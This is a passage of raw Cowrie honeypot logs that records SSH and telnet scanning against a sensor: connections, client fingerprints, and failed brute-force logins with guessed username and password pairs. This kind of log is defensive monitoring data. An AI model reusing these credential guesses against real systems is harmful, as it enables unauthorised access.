sa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:05.187409Z","src_ip":"159.203.92.129","session":"c3a818d2c5bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123root123","message":"login attempt [admin/123root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:05.317626Z","src_ip":"159.203.92.129","session":"c3a818d2c5bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:06.326239Z","src_ip":"159.203.92.129","session":"c3a818d2c5bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00556898117065,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:11.029694Z","src_ip":"176.29.26.223","session":"364f2f8e1dd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":33399,"dst_ip":"159.203.135.109","dst_port":23,"session":"13549dbed54f","protocol":"telnet","message":"New connection: 176.29.26.223:33399 (159.203.135.109:23) [session: 13549dbed54f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:11.372617Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":32671,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c5a578dc33d","protocol":"telnet","message":"New connection: 176.29.26.223:32671 (159.203.135.109:23) [session: 2c5a578dc33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:14.653785Z"}
{"eventid":"cowrie.session.closed","duration":120.00410294532776,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:18.022468Z","src_ip":"176.29.26.223","session":"7b11576f8d67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":29977,"dst_ip":"159.203.135.109","dst_port":23,"session":"5be984440ea3","protocol":"telnet","message":"New connection: 176.29.26.223:29977 (159.203.135.109:23) [session: 5be984440ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:18.354650Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":28440,"dst_ip":"159.203.135.109","dst_port":23,"session":"309a64b28b0b","protocol":"telnet","message":"New connection: 176.29.26.223:28440 (159.203.135.109:23) [session: 309a64b28b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:19.961353Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":33820,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eff68d3245a","protocol":"ssh","message":"New connection: 176.53.96.10:33820 (10.17.0.5:22) [session: 4eff68d3245a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:36.352492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:36.357791Z","src_ip":"176.53.96.10","session":"4eff68d3245a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:36.480314Z","src_ip":"176.53.96.10","session":"4eff68d3245a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2020","message":"login attempt [root/server@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:37.001668Z","src_ip":"176.53.96.10","session":"4eff68d3245a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:38.129116Z","src_ip":"176.53.96.10","session":"4eff68d3245a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00333452224731,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:46.749583Z","src_ip":"31.134.118.104","session":"23e71444f459","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35626,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb5aa417da61","protocol":"ssh","message":"New connection: 159.203.92.129:35626 (159.203.135.109:22) [session: eb5aa417da61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:48.368375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:48.480633Z","src_ip":"159.203.92.129","session":"eb5aa417da61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:48.485479Z","src_ip":"159.203.92.129","session":"eb5aa417da61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123root321","message":"login attempt [admin/123root321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:48.694649Z","src_ip":"159.203.92.129","session":"eb5aa417da61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:49.701696Z","src_ip":"159.203.92.129","session":"eb5aa417da61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00365161895752,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:53.190073Z","src_ip":"31.134.118.104","session":"a33b28ff6703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":57798,"dst_ip":"10.17.0.5","dst_port":22,"session":"904e3d51e981","protocol":"ssh","message":"New connection: 165.154.5.148:57798 (10.17.0.5:22) [session: 904e3d51e981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:57.041560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:57.046934Z","src_ip":"165.154.5.148","session":"904e3d51e981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:57.264192Z","src_ip":"165.154.5.148","session":"904e3d51e981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZxsw2","message":"login attempt [root/1QAZxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:58.161216Z","src_ip":"165.154.5.148","session":"904e3d51e981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:59.380292Z","src_ip":"165.154.5.148","session":"904e3d51e981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46594,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f5e023debdd","protocol":"ssh","message":"New connection: 159.203.92.129:46594 (159.203.135.109:22) [session: 0f5e023debdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:31.626113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:31.651720Z","src_ip":"159.203.92.129","session":"0f5e023debdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:31.655942Z","src_ip":"159.203.92.129","session":"0f5e023debdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123wsx","message":"login attempt [admin/123wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:31.766881Z","src_ip":"159.203.92.129","session":"0f5e023debdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:32.774605Z","src_ip":"159.203.92.129","session":"0f5e023debdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":45798,"dst_ip":"10.17.0.5","dst_port":22,"session":"07eb56e4aee2","protocol":"ssh","message":"New connection: 176.53.96.10:45798 (10.17.0.5:22) [session: 07eb56e4aee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:35.183334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:35.187601Z","src_ip":"176.53.96.10","session":"07eb56e4aee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:35.310667Z","src_ip":"176.53.96.10","session":"07eb56e4aee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"qazwsx","message":"login attempt [administrador/qazwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:35.837643Z","src_ip":"176.53.96.10","session":"07eb56e4aee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:36.964988Z","src_ip":"176.53.96.10","session":"07eb56e4aee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":45800,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ab13763ac9e","protocol":"ssh","message":"New connection: 165.154.5.148:45800 (10.17.0.5:22) [session: 7ab13763ac9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:50.819834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:50.825085Z","src_ip":"165.154.5.148","session":"7ab13763ac9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:51.047999Z","src_ip":"165.154.5.148","session":"7ab13763ac9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwe123","message":"login attempt [test/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:51.955451Z","src_ip":"165.154.5.148","session":"7ab13763ac9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:23:53.177150Z","src_ip":"165.154.5.148","session":"7ab13763ac9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00415682792664,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:11.376670Z","src_ip":"176.29.26.223","session":"13549dbed54f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41766,"dst_ip":"159.203.135.109","dst_port":22,"session":"077079fbca2a","protocol":"ssh","message":"New connection: 159.203.92.129:41766 (159.203.135.109:22) [session: 077079fbca2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:13.705068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:13.710365Z","src_ip":"159.203.92.129","session":"077079fbca2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-